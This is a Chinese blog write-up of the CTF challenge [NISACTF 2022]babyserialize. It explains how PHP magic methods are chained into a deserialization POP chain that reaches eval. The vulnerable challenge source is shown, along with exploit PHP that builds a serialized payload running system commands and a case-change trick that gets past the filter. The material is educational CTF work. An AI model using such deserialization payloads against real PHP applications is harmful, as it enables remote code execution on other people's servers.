构造思想
构造一条完整的pop链要有头有尾,头一般是从传参的地方开始并反序列化,尾是可以达到攻击或获取数据的·口子,比如eval,include等可以执行或者包含读取。有了头又有了尾,就要通过魔术方法把它们连接起来。
魔术方法
__construct() 创建对象时触发
__destruct() 对象被销毁时触发
__sleep() 在对象被序列化的过程中自动调用,且发生在序列化之前
__wakeup() 该魔术方法在反序列化的时候自动调用,且发生在反序列化之前
__get() 用于从不可访问或不存在的属性读取数据
__set() 用于将数据写入不可访问或不存在的属性
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__toString() 在对象当做字符串的时候会被调用。
__invoke() 当尝试将对象调用为函数时触发
题目解析
[NISACTF 2022]babyserialize
题目源码
<?php include "waf.php"; class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun='abc'; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } if(isset($_GET['ser'])){ @unserialize($_GET['ser']); }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?>
解题思路
1).eval反推到_invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
2.)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
3.)__toString反推到__set
在four的__set中,调用了strolower方法。
strolower函数把字符串转换为小写;
4.)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
构造exp
<?php show_source('2.php'); class NISA{ public $fun; public $txw4ever='system("ls");'; } class TianXiWei{ public $ext; public $x; } class Ilovetxw{ public $huang; public $su; } class four{ public $a; private $fun; } $a=new tianxiwei; $a->ext=new ilovetxw; $a->ext->huang=new four; $a->ext->huang->a=new ilovetxw; $a->ext->huang->a->su=new nisa; echo urlencode(serialize($a));
发现something wrong…
这里进行常规大小写转换,就可以绕过
<?php show_source('2.php'); class NISA{ public $fun; public $txw4ever='System("tac /fllllllaaag");'; } class TianXiWei{ public $ext; public $x; } class Ilovetxw{ public $huang; public $su; } class four{ public $a; private $fun; } $a=new tianxiwei; $a->ext=new ilovetxw; $a->ext->huang=new four; $a->ext->huang->a=new ilovetxw; $a->ext->huang->a->su=new nisa; echo urlencode(serialize($a));
参考文章链接:https://blog.csdn.net/weixin_57222016/article/details/124620719
标签:__,PHP,pop,ext,调用,new,序列化,public From: https://www.cnblogs.com/zgl-/p/17372328.html